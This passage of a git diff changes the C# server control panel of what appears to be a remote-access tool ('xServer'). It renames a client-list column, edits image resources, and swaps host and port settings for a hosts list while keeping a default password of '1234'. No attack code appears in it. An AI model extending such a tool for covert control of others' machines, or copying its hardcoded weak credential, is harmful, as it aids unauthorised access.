this.ctxtShowMessagebox.Size = new System.Drawing.Size(171, 22); this.ctxtShowMessagebox.Text = "Show Messagebox"; this.ctxtShowMessagebox.Click += new System.EventHandler(this.ctxtShowMessagebox_Click); // @@ -355,7 +355,7 @@ namespace xServer.Forms // botListen // this.botListen.Name = "botListen"; - this.botListen.Size = new System.Drawing.Size(86, 17); + this.botListen.Size = new System.Drawing.Size(87, 17); this.botListen.Text = "Listening: False"; // // imgFlags @@ -625,7 +625,7 @@ namespace xServer.Forms | System.Windows.Forms.AnchorStyles.Right))); this.lstClients.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { this.hIP, - this.hSocket, + this.hTag, this.hUserPC, this.hVersion, this.hStatus, @@ -651,9 +651,9 @@ namespace xServer.Forms this.hIP.Text = "IP Address"; this.hIP.Width = 112; // - // hSocket + // hTag // - this.hSocket.Text = "Socket"; + this.hTag.Text = "Tag"; // // hUserPC // @@ -771,7 +771,7 @@ namespace xServer.Forms private System.Windows.Forms.ToolStripMenuItem ctxtConnection; private System.Windows.Forms.ToolStripMenuItem ctxtReconnect; private System.Windows.Forms.ToolStripMenuItem ctxtDisconnect; - private System.Windows.Forms.ColumnHeader hSocket; + private System.Windows.Forms.ColumnHeader hTag; private System.Windows.Forms.StatusStrip botStrip; private System.Windows.Forms.ToolStripStatusLabel botListen; private System.Windows.Forms.ImageList imgFlags; diff --git a/Server/Forms/FrmMain.resx b/Server/Forms/FrmMain.resx index 7b479121..0eee198f 100644 --- a/Server/Forms/FrmMain.resx +++ b/Server/Forms/FrmMain.resx @@ -121,6 +121,21 @@ 117, 17 + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAIkSURBVDhPpZFLaxphFIbzD/pzsuiui1LopquuBQUF + EQRd6MaVK0XEJmkEwbZaqUWoJkaNjhov41SjRqPjLY63pin1QnXfxdvzDbQkMF2ULt7N8LzPme+cPQD/ + FcWPzWbzTa1W+8nzPAqFAjiOQzKZRCwWQyQS+XCffVBst9uPGo1GRJIk3N5+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AAk1TRnQBSQFMAgEB+AEAAaABBwGgAQcBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ diff --git a/Server/Server.csproj b/Server/Server.csproj index 83f8159b..744046bc 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -68,6 +68,9 @@ Component + + Component + Component @@ -77,6 +80,7 @@ + @@ -123,6 +127,7 @@ + diff --git a/Server/Settings/ProfileManager.cs b/Server/Settings/ProfileManager.cs index e88d7164..6525f40e 100644 --- a/Server/Settings/ProfileManager.cs +++ b/Server/Settings/ProfileManager.cs @@ -26,8 +26,7 @@ namespace xServer.Settings XmlNode root = doc.CreateElement("settings"); doc.AppendChild(root); - root.AppendChild(doc.CreateElement("Hostname")); - root.AppendChild(doc.CreateElement("ListenPort")).InnerText = "4782"; + root.AppendChild(doc.CreateElement("Hosts")); root.AppendChild(doc.CreateElement("Password")).InnerText = "1234"; root.AppendChild(doc.CreateElement("Delay")).InnerText = "5000"; root.AppendChild(doc.CreateElement("Mutex"));